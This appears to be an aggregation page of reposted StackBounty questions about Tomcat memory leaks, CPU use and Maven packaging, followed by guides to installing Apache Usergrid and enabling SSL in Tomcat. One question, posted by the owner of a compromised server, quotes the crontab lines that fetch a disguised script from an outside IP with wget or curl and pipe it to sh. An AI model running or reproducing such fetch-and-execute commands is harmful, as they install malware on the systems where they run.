#StackBounty: #java #multithreading #tomcat #tomcat7 #jvisualvm Memory leak when redeploying application in Tomcat

Bounty: 50

I have WebApplication which is deployed in Tomcat 7.0.70. I simulated the following situation:

  1. I created the heap dump.
  2. Then I sent the Http request and in service’s method I printed the current thread and its classLoader. And then I invoked Thread.currentThread.sleep(10000).
  3. And at the same moment I clicked ‘undeploy this application’ in Tomcat’s admin page.
  4. I created new heap dump.
  5. After some minutes I created new hep dump.

RESULTS

Thread dump

On the following screen you can see that after I clicked “redeploy”, all threads (which were associated with this web application) were killed except the thread “http-apr-8081-exec-10”. As I set Tomcat’s attribute “renewThreadsWhenStoppingContext == true”, so you can see that after some time this thread (“http-apr-8081-exec-10”) was killed and new thread (http-apr-8081-exec-11) was created instead of it. So I didn’t expect to have the old WCL after creation of heap dump 3, because there are not any old threads or objects.

enter image description here

Heapd dump 1

On the following two screens you can see that when the application was running there was only one WCL(its parameter “started” = true).
And the thread “http-apr-8081-exec-10” had the contextClassLoader = URLClassLoader ( because it was in the Tomcat’s pool).
I’m speaking only about this thread because you will able to see that this thread will handle my future HTTP request.

enter image description here

enter image description here

Sending HTTP request

Now I send the HTTP request and in my code I get information about the current thread.You can see that my request is being handled by the thread “http-apr-8081-exec-10”

дек 23, 2016 9:28:16 AM c.c.c.f.s.r.ReportGenerationServiceImpl INFO:  request has been handled in 
   thread = http-apr-8081-exec-10,  its contextClassLoader = WebappClassLoader
   context: /hdi
   delegate: false
   repositories:
   /WEB-INF/classes/
   ----------> Parent Classloader: java.net.URLClassLoader@4162ca06

Then I click “Redeploy my web application” and I get the following message in console.

 дек 23, 2016 9:28:27 AM org.apache.catalina.loader.WebappClassLoaderBase clearReferencesThreads
 SEVERE: The web application [/hdi] appears to have started a thread named [http-apr-8081-exec-10] but has failed to stop it. This is very likely to create a memory leak.

Heapd dump 2

On the following screens you can see that there are two instances WebAppClassLoader. One of them( number #1) is old( its attribute “started” = false).
And the WCL #2 was created after redeploying application (its attribute “started” = true).
And the thread we review has contextClassLoader = “org.apache.catalina.loader.WebappClassLoader”.
Why? I expected to see contextClassLoader = “java.net.URLClassLoader” (after all, when any thread finishes its work it is returned to the Tomcat’s pool
and its attribute “contextClassLoader” is set to any base classloader).

enter image description here

enter image description here

enter image description here

Heapd dump 3

You can see that there isn’t thread “http-apr-8081-exec-10”, but there is thread “http-apr-8081-exec-11” and it has contextClassLoader = “WebappClassLoader”
(Why not URLClassLoader?).

In the end we have the following: there is thread “http-apr-8081-exec-11” which has the ref to the WebappClassLoader #1.
And obviosly when I make “Nearest GC Root” on the WCL #1 I will see the ref to the thread 11.

enter image description here

enter image description here

Questions.

How can I forcibly say to Tomcat to return old value contextClassLoader (URLClassLoader) after thread will finish its work?

How can I make sure Tomcat doesn’t copy old value “contextClassLoader” during the thread renewal?

Maybe, do you know other way to resolve my problem?


Get this bounty!!!

#StackBounty: #java #tomcat #cpu-usage #windows-server-2012-r2 #tomcat9 Standalone tomcat 9 spikes CPU to 50% every 10 seconds while my…

Bounty: 100

i am using Tomcat 9.0.0.M22 with jdk1.8.0_131 on windows server 2012 R2 and i have a sprinboot web application deployed on it, the issue is that every 10 seconds the commons daemon service runner spikes the cpu to 50% although my deployed web application is idle then decreases to 0% and this behavior continue to happen every 10 seconds.

in my application i don’t have any job that runs every 10 seconds, and also when i run my web application on tomcat from eclipse i didn’t notice the same behavior, so i am guessing that this is a tomcat built in thread, so i was wondering if any one has encountered this issue before can guide me to a solution.

please advise, thanks


Get this bounty!!!

#StackBounty: #tomcat #java #database #cpu-usage #memory-usage Tomcat consuming more Memory after Application Data is added .

Bounty: 50

A Tomcat Server suddenly shows an increment of 2 GB memory consumption after adding more data into the Application or Application Oracle Database. What I mean is that after restart Tomcat is normal but after a few hours it shows approx. 2000MB of Memory space . There are 4 Servers and the numbers are close in all the four . Before the data adjoined it was behaving appropriate . Please some one could specify whether this more data in Database which is causing the problem or something else needs to be looked into ??

Parallelly the CPU wait cycles have increased during this time frame .


Get this bounty!!!

#StackBounty: #java #maven #tomcat Apache Tomcat Maven plugin war not found

Bounty: 100

I’m following the documentation here but I end up with a jar that doesn’t find the war to execute. Here’s the error:

java.io.FileNotFoundException: C:UsersortizjDocumentsNetBeansProjectsvalida
tion-managerValidation-Manager-Webtarget.extractwebappsROOT.war (The system
 cannot find the file specified)

For some reason the war file is not added to the jar so it fails when it’s extracting it.

ROOT.war exists and is present in the target folder.

Here’s the relevant POM contents:

<profile>
    <id>installer</id>
    <properties>
        <original.finalName>${project.build.finalName}</original.finalName>
    </properties>
    <build>
        <finalName>ROOT</finalName>
        <plugins>
            <plugin>
                <groupId>org.apache.tomcat.maven</groupId>
                <artifactId>tomcat7-maven-plugin</artifactId>
                <version>2.2</version>
                <executions>
                    <execution>
                        <id>tomcat-run</id>
                        <goals>
                            <goal>exec-war-only</goal>
                        </goals>
                        <phase>package</phase>
                        <configuration>
                            <path>/</path>
                            <enableNaming>false</enableNaming>
                            <finalName>${original.finalName}-demo.jar</finalName>
                            <charset>utf-8</charset>
                            <httpPort>9078</httpPort>
                            <contextFile>${project.basedir}srcmainjavawebappMETA-INFcontext.xml</contextFile>
                        </configuration>
                    </execution>
                </executions>
            </plugin>
        </plugins>
    </build>
</profile>


Get this bounty!!!

#StackBounty: #linux #apache #shell #security #tomcat Shell script attack on Apache server, via an corn job of unknown origin

Bounty: 50

While running a project war on Apache tomcat server I found that the server has been compromised.

While running the war on an unknown cron is running like this

[root@PaygateApp2 tmp]# crontab -l -u tomcat
*/11 * * * * wget -O - -q http://91.230.47.40/pics/logo.jpg|sh
*/12 * * * * curl http://91.230.47.40/pics/logo.jpg|sh

The downloaded logo.jpg has a shell script which is downloading a malware.

I found a similar issue on this website below

https://xn--blgg-hra.no/2017/04/covert-channels-hiding-shell-scripts-in-png-files/

and

https://security.stackexchange.com/questions/160068/kworker34-malware-on-linux

I am unable to find the origin of this cron job scheduler in my whole code.

This cron job

What I wish to know that has anyone faced this issue?
and how should I go about finding the origin of the cron job in code.

Note :

I am working on a JAVA(Struts 2)+jsp+javascript+jquery web project.

This cron job is running every time I am starting my tomcat with the war file of the project, but I am not able to find any scheduler for cron job in my code


Get this bounty!!!

Installing Apache UserGrid on linux

About the Project

Apache Usergrid is an open-source Backend-as-a-Service (BaaS or mBaaS) composed of an integrated distributed NoSQL database, application layer and client tier with SDKs for developers looking to rapidly build web and/or mobile applications. It provides elementary services and retrieval features like:

  • User Registration & Management
  • Data Storage
  • File Storage
  • Queues
  • Full Text Search
  • Geolocation Search
  • Joins

It is a multi-tenant system designed for deployment to public cloud environments (such as Amazon Web Services, Rackspace, etc.) or to run on traditional server infrastructures so that anyone can run their own private BaaS deployment.

For architects and back-end teams, it aims to provide a distributed, easily extendable, operationally predictable and highly scalable solution. For front-end developers, it aims to simplify the development process by enabling them to rapidly build and operate mobile and web applications without requiring backend expertise.

Usergrid 2.1.0 Deployment Guide

Though the Usergrid Deployment guide seems to be simple enough, I faced certain hiccups and it took me about 4 days to figure out what I was doing wrong.

This document explains how to deploy the Usergrid v2.1.0 Backend-as-a-Service (BaaS), which comprises the Usergrid Stack, a Java web application, and the Usergrid Portal, which is an HTML5/JavaScript application.

Prerequsites

Below are the software requirements for Usergrid 2.1.0 Stack and Portal. You can install them all on one computer for development purposes, and for deployment you can deploy them separately using clustering.

Linux or a UNIX-like system (Usergrid may run on Windows, but we haven’t tried it)

Download the Apache Usergrid 2.1.0 binary release from the official Usergrid releases page:

After untarring the files that you need for deploying Usergrid Stack and Portal are ROOT.war and usergrid-portal.tar.

Stack STEP #1: Setup Cassandra

As mentioned in prerequisites, follow the installation guide given in link

Usergrid uses Cassandra’s Thrift protocol
Before starting cassandra, on Cassandra 2.x releases you MUST enable Thrift by setting start_rpc in your cassandra.yaml file:

    #Whether to start the thrift rpc server.
    start_rpc: true

Note:DataStax no longer supports the DataStax Community version of Apache Cassandra or the DataStax Distribution of Apache Cassandra. It is best to follow the Apache Documentation

Once you are up and running make a note of these things:

  • The name of the Cassandra cluster
  • Hostname or IP address of each Cassandra node
    • in case of same machine as Usergrid, then localhost. Usergrid would then be running on single machine embedded mode.
  • Port number used for Cassandra RPC (the default is 9160)
  • Replication factor of Cassandra cluster

Stack STEP #2: Setup ElasticSearch

Usergrid also needs access to at least one ElasticSearch node. As with Cassandra, you can setup single ElasticSearch node on your computer, and you should run a cluster in production.

Steps:

  • Download and unzip Elasticsearch
  • Run bin/elasticsearch (or bin\elasticsearch -d on Linux as Background Process) (or bin\elasticsearch.bat on Windows)
  • Run curl http://localhost:9200/

Once you are up and running make a note of these things:

  • The name of the ElasticSearch cluster
  • Hostname or IP address of each ElasticSearch node
    • in case of same machine as Usergrid, then localhost. Usergrid would then be running on single machine embedded mode.
  • Port number used for ElasticSearch protocol (the default is 9200)

Stack STEP #3: Setup Tomcat

The Usergrid Stack is contained in a file named ROOT.war, a standard Java EE WAR ready for deployment to Tomcat. On each machine that will run the Usergrid Stack you must install the Java SE 8 JDK and Tomcat 7+.

Stack STEP #4: Configure Usergrid Stack

You must create a Usergrid properties file called usergrid-deployment.properties. The properties in this file tell Usergrid how to communicate with Cassandra and ElasticSearch, and how to form URLs using the hostname you wish to use for Usegrid. There are many properties that you can set to configure Usergrid.

Once you have created your Usergrid properties file, place it in the Tomcat lib directory. On a Linux system, that directory is probably located at /path/to/tomcat7/lib/

The Default Usergrid Properties File

You should review the defaults in the above file. To get you started, let’s look at a minimal example properties file that you can edit and use as your own.

Please note that if you are installing Usergrid on the same machine as Cassandra Server, then set the following property to true

   #Tell Usergrid that Cassandra is not embedded.
   cassandra.embedded=true

Stack STEP #5: Deploy ROOT.war to Tomcat

The next step is to deploy the Usergrid Stack software to Tomcat. There are a variety of ways of doing this and the simplest is probably to place the Usergrid Stack ROOT.war file into the Tomcat webapps directory, then restart Tomcat.

Look for messages like this, which indicate that the ROOT.war file was deployed:

INFO: Starting service Catalina
Jan 29, 2016 1:00:32 PM org.apache.catalina.core.StandardEngine startInternal
INFO: Starting Servlet Engine: Apache Tomcat/7.0.59
Jan 29, 2016 1:00:32 PM org.apache.catalina.startup.HostConfig deployWAR
INFO: Deploying web application archive /usr/share/tomcat7/webapps/ROOT.war

Does it work?

you can use curl:

curl http://localhost:8080/status

If you get a JSON file of status data, then you’re ready to move to the next step. You should see a response that begins like this:

{
“timestamp” : 1454090178953,
“duration” : 10,
“status” : {
“started” : 1453957327516,
“uptime” : 132851437,
“version” : “201601240200-595955dff9ee4a706de9d97b86c5f0636fe24b43”,
“cassandraAvailable” : true,
“cassandraStatus” : “GREEN”,
“managementAppIndexStatus” : “GREEN”,
“queueDepth” : 0,
“org.apache.usergrid.count.AbstractBatcher” : {
“add_invocation” : {
“type” : “timer”,
“unit” : “microseconds”,
… etc. …

Initialize the Usergrid Database

Next, you must initialize the Usergrid database, index and query systems.

To do this you must issue a series of HTTP operations using the superuser credentials. You can only do this if Usergrid is configured to allow superused login via this property usergrid.sysadmin.login.allowed=true and if you used the above example properties file, it is allowed.

The three operation you must perform are expressed by the curl commands below and, of course, you will have ot change the password test to match the superuser password that you set in your Usergrid properties file.

curl -X PUT http://localhost:8080/system/database/setup -u superuser:test
curl -X PUT http://localhost:8080/system/database/bootstrap -u superuser:test
curl -X GET http://localhost:8080/system/superuser/setup -u superuser:test

When you issue each of those curl commands, you should see a success message like this:

{
“action” : “cassandra setup”,
“status” : “ok”,
“timestamp” : 1454100922067,
“duration” : 374
}

Now that you’ve gotten Usergrid up and running, you’re ready to deploy the Usergrid Portal.

Deploying the Usergrid Portal

The Usergrid Portal is an HTML5/JavaScript application, a bunch of static files that can be deployed to any web server, e.g. Apache HTTPD or Tomcat.

To deploy the Portal to a web server, you will un-tar the usergrid-portal.tar file into directory that serves as the root directory of your web pages.

Once you have done that there is one more step. You need to configure the portal so that it can find the Usergrid stack. You do that by editing the portal/config.js and changing this line:

Usergrid.overrideUrl = ’http://localhost:8080/‘;

To set the hostname that you will be using for your Usergrid installation.

I have deployed a sample instance and tested the same. You can find the system ready configurations in TechUtils repository

How to configure Tomcat to support SSL or https

Thanks to http://www.mkyong.com/tomcat/how-to-configure-tomcat-to-support-ssl-or-https/

1. Generate Keystore

First, uses “keytool” command to create a self-signed certificate. During the keystore creation process, you need to assign a password and fill in the certificate’s detail.

$Tomcatbin>keytool -genkey -alias mkyong -keyalg RSA -keystore c:mkyongkeystore
Enter keystore password:
Re-enter new password:
What is your first and last name?
[Unknown]: yong mook kim
What is the name of your organizational unit?
//omitted to save space
[no]: yes

Enter key password for
(RETURN if same as keystore password):
Re-enter new password:

$Tomcatbin>

Here, you just created a certificate named “mkyongkeystore”, which locate at “c:”.

Check your certificate details

Certificate Details
You can use same “keytool” command to list the existing certificate’s detail
$Tomcatbin>keytool -list -keystore c:mkyongkeystore
Enter keystore password:

Keystore type: JKS
Keystore provider: SUN

Your keystore contains 1 entry

mkyong, 14 Disember 2010, PrivateKeyEntry,
Certificate fingerprint (MD5): C8:DD:A1:AF:9F:55:A0:7F:6E:98:10:DE:8C:63:1B:A5

$Tomcatbin>

2. Connector in server.xml

Next, locate your Tomcat’s server configuration file at $Tomcatconfserver.xml, modify it by adding a connector element to support for SSL or https connection.

File : $Tomcatconfserver.xml

//...
<!-- Define a SSL HTTP/1.1 Connector on port 8443
This connector uses the JSSE configuration, when using APR, the
connector should be using the OpenSSL style configuration
described in the APR documentation -->

<Connector port="8443" protocol="HTTP/1.1" SSLEnabled="true"
maxThreads="150" scheme="https" secure="true"
clientAuth="false" sslProtocol="TLS"
keystoreFile="c:mkyongkeystore"
keystorePass="password" />
//...

Saved it and restart Tomcat, access to https://localhost:8443/

In this example, we are using Google Chrome to access the Tomcat configured SSL site, and you may notice a crossed icon appear before the https protocol :), this is caused by the self-signed certificate and Google chrome just do not trust it.

In production environment, you should consider buy a signed certificate from trusted SSL service provider like verisign or sign it with your own CA server